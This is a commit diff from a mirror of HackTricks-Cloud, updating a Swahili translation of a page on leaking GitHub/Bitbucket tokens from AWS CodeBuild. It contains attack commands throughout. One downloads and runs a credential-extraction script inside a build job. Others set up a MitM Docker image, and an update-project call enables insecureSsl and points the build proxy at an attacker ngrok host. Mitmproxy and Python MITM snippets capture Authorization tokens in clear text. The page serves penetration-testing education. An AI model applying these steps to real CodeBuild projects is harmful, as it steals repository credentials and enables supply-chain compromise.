gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-07-28 22:51:09 -07:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation

Browse Source
This commit is contained in:
Translator
2026-04-01 12:38:51 +00:00
parent 46de70be4a
commit c8e51142b2
1 changed files with 40 additions and 30 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
+40 -30
View File
@@ -2,41 +2,51 @@
{{#include ../../../../banners/hacktricks-training.md}}
## Pata Tokens za Github/Bitbucket zilizosetiwa
## Pata Github/Bitbucket Tokens zilizosanidiwa
Kwanza, angalia kama kuna source credentials zilizosetiwa ambazo unaweza leak:
Kwanza, angalia kama kuna source credentials zilizosanidiwa ambazo unaweza leak:
```bash
aws codebuild list-source-credentials
```
### Kupitia RCE katika CodeBuild Job
Kutoka ndani ya CodeBuild job, unaweza kufikia endpoint isiyoandikwa ya AWS CodeBuild API ambayo itakurudishia credentials zinazotumika na CodeBuild. Hii inaweza kutumika kupata credentials ambazo CodeBuild job ilianzishwa nazo, mfano AWS CodeConnection credentials, OAUTH au PAT credentials. CodeBuild job haihitaji kuwa privileged ili kufikia endpoint hii na pia ni vigumu kuigundua katika logging na monitoring kwani CodeBuild yenyewe inaita endpoint hii mara kadhaa wakati wa startup.
Mbinu imeelezewa zaidi katika [https://thomaspreece.com/2026/03/23/part-2-aws-codebuild-escalating-privileges-via-aws-codeconnections/](https://thomaspreece.com/2026/03/23/part-2-aws-codebuild-escalating-privileges-via-aws-codeconnections/) lakini kwa muhtasari, ili kupata credentials ndani ya CodeBuild job unahitaji tu kuendesha yafuatayo:
```
python -m pip install botocore boto3 requests
wget https://raw.githubusercontent.com/thomaspreece/AWS-CodeFactoryTokenService-API/refs/heads/main/GetBuildInfo.py
python ./GetBuildInfo.py
```
### Kupitia Docker Image
Ikiwa utagundua kwamba uthibitishaji kwa mfano Github umewekwa kwenye akaunti, unaweza **exfiltrate** ile **access** (**GH token or OAuth token**) kwa kufanya Codebuild **kutumia docker image maalum** kuendesha build ya mradi.
Ikiwa utagundua kuwa authentication kwa mfano kwa Github imewekwa kwenye akaunti, unaweza **exfiltrate** hiyo **access** (**GH token or OAuth token**) kwa kufanya Codebuild iitumie **specific docker image** kuendesha build ya project.
Kwa kusudi hili unaweza **kuunda mradi mpya wa Codebuild** au kubadilisha **environment** ya mojawapo iliyopo kuweka **Docker image**.
Kwa madhumuni haya unaweza **create a new Codebuild project** au kubadilisha **environment** ya ile iliyopo ili kuweka **Docker image**.
The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Hii ni Docker image rahisi sana ambayo itaweka **env variables `https_proxy`**, **`http_proxy`** na **`SSL_CERT_FILE`**. Hii itakuwezesha kuingilia sehemu kubwa ya trafiki ya mwenyeji iliyoonyeshwa kwenye **`https_proxy`** na **`http_proxy`** na kumwamini SSL CERT iliyoonyeshwa ndani ya **`SSL_CERT_FILE`**.
Docker image unaweza kutumia ni [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Hii ni Docker image rahisi sana itakayoweka **env variables `https_proxy`**, **`http_proxy`** na **`SSL_CERT_FILE`**. Hii itakuwezesha intercept sehemu kubwa ya trafiki ya host iliyoonyeshwa katika **`https_proxy`** na **`http_proxy`** na kuamini SSL CERT iliyoonyeshwa katika **`SSL_CERT_FILE`**.
1. **Tengeneza & Pandisha Docker MitM image yako mwenyewe**
- Fuata maelekezo ya repo ili kuweka anwani ya IP ya proxy yako na kuweka certificate ya SSL na **kujenga docker image**.
- **DO NOT SET `http_proxy`** ili usiingilie maombi kwa metadata endpoint.
1. **Create & Upload your own Docker MitM image**
- Fuata maagizo ya repo ili kuweka proxy IP yako na SSL cert yako na **build the docker image**.
- **DO NOT SET `http_proxy`** ili kuto-intercept requests kwa metadata endpoint.
- Unaweza kutumia **`ngrok`** kama `ngrok tcp 4444` ili kuweka proxy kwa host yako
- Mara baada ya kujenga Docker image, **ipandishe kwenye repo ya umma** (Dockerhub, ECR...)
- Mara baada ya kuwa umejenga Docker image, **upload it to a public repo** (Dockerhub, ECR...)
2. **Set the environment**
- **Unda mradi mpya wa Codebuild** au **badilisha** environment ya moja iliyopo.
- Weka mradi utumie **Docker image iliyotengenezwa hapo awali**
- Create a **new Codebuild project** au **modify** environment ya ile iliyopo.
- Weka project itumie **previously generated Docker image**
<figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>
3. **Weka MitM proxy kwenye host yako**
3. **Set the MitM proxy in your host**
- Kama ilivyoonyeshwa kwenye **Github repo** unaweza kutumia kitu kama:
- Kama ilivyoonyeshwa katika **Github repo** unaweza kutumia kitu kama:
```bash
mitmproxy --listen-port 4444 --allow-hosts "github.com"
```
> [!TIP]
> Toleo la **mitmproxy lililotumika lilikuwa 9.0.1**, iliripotiwa kwamba kwa toleo 10 hii inaweza isifanye kazi.
4. **Endesha build & kunasa credentials**
> The **mitmproxy version used was 9.0.1**, iliripotiwa kwamba kwa toleo 10 hii inaweza isiwe kazi.
4. **Endesha build & capture the credentials**
- Unaweza kuona token katika kichwa cha **Authorization**:
@@ -73,15 +83,15 @@ aws codebuild start-build --project-name my-project2
```
### Kupitia insecureSSL
**Codebuild** miradi yana mipangilio inayoitwa **`insecureSsl`** ambayo imefichika kwenye wavuti; unaweza kuibadilisha tu kupitia API.\
Kuwezesha hili kunaruhusu Codebuild kuungana na repository **bila kukagua cheti** kinachotolewa na jukwaa.
**Codebuild** miradi ina setting iitwayo **`insecureSsl`** ambayo imefichwa kwenye kiolesura cha wavuti; unaweza kuibadilisha tu kupitia API.\
Kuwezesha hili kunaruhusu Codebuild kuunganishwa na repository **bila kukagua cheti** kinachotolewa na jukwaa.
- Kwanza unahitaji kuorodhesha usanidi wa sasa kwa kitu kama:
```bash
aws codebuild batch-get-projects --name <proj-name>
```
- Kisha, kwa taarifa uliyoikusanya unaweza kusasisha project setting **`insecureSsl`** kuwa **`True`**. Hapa chini ni mfano wa jinsi nilivyofanya update ya project; zingatia **`insecureSsl=True`** mwishoni (hii ndiyo pekee unayohitaji kubadilisha kutoka kwa configuration uliyoikusanya).
- Zaidi ya hayo, ongeza pia env variables **http_proxy** na **https_proxy** zikielekeza kwenye tcp ngrok yako kama ifuatavyo:
- Kisha, kwa taarifa uliyoikusanya unaweza kusasisha mpangilio wa mradi **`insecureSsl`** kuwa **`True`**. Hapa chini ni mfano wa jinsi nilivyosasisha mradi, angalia **`insecureSsl=True`** mwishoni (hii ndicho pekee unachohitaji kubadilisha kutoka kwa usanidi uliokusanywa).
- Zaidi ya hayo, pia ongeza vigezo vya mazingira **http_proxy** na **https_proxy** vinavyoelekeza kwa tcp ngrok yako kama:
```bash
aws codebuild update-project --name <proj-name> \
--source '{
@@ -115,7 +125,7 @@ aws codebuild update-project --name <proj-name> \
]
}'
```
- Kisha, endesha mfano wa msingi kutoka [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) katika bandari inayotajwa na vigezo vya proxy (http_proxy and https_proxy)
- Kisha, endesha mfano wa msingi kutoka [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) katika bandari iliyotajwa na vigezo vya proxy (http_proxy na https_proxy)
```python
from mitm import MITM, protocol, middleware, crypto
@@ -128,7 +138,7 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
- Mwisho, bonyeza **Build the project**, **credentials** zitatumwa kwa **clear text** (base64) kwenye bandari ya mitm:
- Mwisho, bonyeza kwenye **Build the project**, **credentials** zitatumwa kama **clear text** (base64) kwenye mitm port:
<figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>
@@ -136,16 +146,16 @@ mitm.run()
> [!TIP] > **This vulnerability was corrected by AWS at some point the week of the 20th of Feb of 2023 (I think on Friday). So an attacker can't abuse it anymore :)**
Mshambuliaji mwenye **idhini iliyoinuliwa kwenye CodeBuild anaweza leak token ya Github/Bitbucket** iliyosanidiwa, au ikiwa idhini ilisanidiwa kupitia OAuth, **temporary OAuth token inayotumika kufikia code**.
Mshambuliaji mwenye **elevated permissions in over a CodeBuild could leak the Github/Bitbucket token** iliyosanidiwa, au ikiwa ruhusa zilipangwa kupitia OAuth, **temporary OAuth token used to access the code** inaweza kuonekana.
- Mshambuliaji anaweza kuongeza vigezo vya mazingira **http_proxy** na **https_proxy** kwenye mradi wa CodeBuild akielekeza kwenye mashine yake (kwa mfano `http://5.tcp.eu.ngrok.io:14972`).
- Mshambuliaji anaweza kuongeza environment variables **http_proxy** na **https_proxy** kwenye project ya CodeBuild zikielekeza kwenye mashine yake (kwa mfano `http://5.tcp.eu.ngrok.io:14972`).
<figure><img src="../../../../images/image (232).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../images/image (213).png" alt=""><figcaption></figcaption></figure>
- Kisha, badilisha URL ya github repo ili itumie HTTP badala ya HTTPS, kwa mfano: `http://github.com/carlospolop-forks/TestActions`
- Kisha, endesha mfano wa msingi kutoka [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) kwenye bandari inayorejelewa na vigezo vya proxy (http_proxy na https_proxy)
- Kisha, endesha mfano wa msingi kutoka [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) kwenye port iliyoonyeshwa na proxy variables (http_proxy and https_proxy)
```python
from mitm import MITM, protocol, middleware, crypto
@@ -158,20 +168,20 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
- Ifuatayo, bonyeza **Build the project** au anza kujenga kutoka kwenye mstari wa amri:
- Ifuatayo, bonyeza **Jenga mradi** au anza ujenzi kutoka kwenye mstari wa amri:
```sh
aws codebuild start-build --project-name <proj-name>
```
- Mwishowe, **credentials** zitatumwa kwa **matini wazi** (base64) kwenye mitm port:
- Mwisho, nyaraka za uthibitisho zitatumwa kwa maandishi wazi (base64) kwenye mitm port:
<figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>
> [!WARNING]
> Sasa mshambulizi ataweza kutumia token kutoka kwenye mashine yake, kuorodhesha idhini zote anazopata na kuitumia au kuitumia vibaya kwa urahisi kuliko kutumia huduma ya CodeBuild moja kwa moja.
> Sasa mshambulizi ataweza kutumia token kutoka kwenye mashine yake, kuorodhesha ruhusa zote zilizo ndani yake na kuitumia (kama kutumia vibaya) kwa urahisi zaidi kuliko kutumia huduma ya CodeBuild moja kwa moja.
## Untrusted PR execution via webhook filter misconfiguration
## Utekelezaji wa PR usioaminifu kupitia usanidi mbaya wa kichujio cha webhook
For the PR-triggered webhook bypass chain (`ACTOR_ACCOUNT_ID` regex + untrusted PR execution), check:
Kwa mnyororo wa webhook bypass unaochochewa na PR (`ACTOR_ACCOUNT_ID` regex + untrusted PR execution), angalia:
{{#ref}}
aws-codebuild-untrusted-pr-webhook-bypass.md